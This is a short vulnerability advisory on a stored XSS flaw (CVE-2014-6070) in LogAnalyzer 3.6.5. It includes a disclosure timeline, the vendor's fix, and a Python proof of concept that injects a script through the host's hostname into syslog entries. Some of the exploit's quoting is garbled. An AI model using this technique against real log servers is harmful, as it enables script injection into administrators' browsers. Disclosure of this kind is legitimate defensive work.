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LogAnalyzer 3.6.5 Cross Site Scripting

2014-09-03 02:20

Author: Dolev Farhi @dolevff
Application: LogAnalyzer
Date: 8.2.2014
Tested on: Red Hat Enterprise Linux 6.4
Relevant CVEs: CVE-2014-6070

1. About the application
LogAnalyzer is a web interface to syslog and other network event data.
It provides easy browsing, analysis of realtime network events and
reporting services.

2. Vulnerabilities Descriptions:
It was found that an XSS injection is possible on a syslog server
running LogAnalyzer version 3.6.5.
by changing the hostname of any entity logging to syslog server with
LogAnalyzer to <script>alert("xss")</script>, and sending an arbitrary
syslog message, a client-side script injection execution is possible.

3. Life cycle
8.2.2014 - Vulnerability identified
9.2.2014 - CVE Requested
9.2.2014 - CVE Assigned
9.2.2014 - Vendor releases a fix in a minor release version 3.6.6.

4. proof of concept
a proof of concept video and a working exploit can be found here:


# Exploit title = LogAnalyzer 3.5.6 Stored XSS injection
# Date: Sept 2014
# Exploit Author: Dolev Farhi dolevf at yahoo dot com
# Vendor homepage: loganalyzer.adiscon.com
# Version: Stable 3.6.5
# Tested on Red Hat Enterprise Linux 6.4
# CVE: CVE-2014-6070

import os
import syslog

hostname = os.uname()[1]
payload = ""<script>alert('XSS');</script>""

print("+ Setting temporary hostname to " + payload + "...")
os.system("hostname " + payload)

print("+ Injecting the syslog message...")
syslog.syslog("syslog xss injection")

print("+ Check LogAnalyzer dashboard...")

raw_input("+ Press [enter] to restore hostname...")
os.system("hostname " + """ + hostname + """)

print("+ Hostname restored to " + hostname)

5. Recommendation
upgrade to LogAnalyzer 3.6.6

Source: 8000904102-BLW/eussi/moc.ytirucesxc

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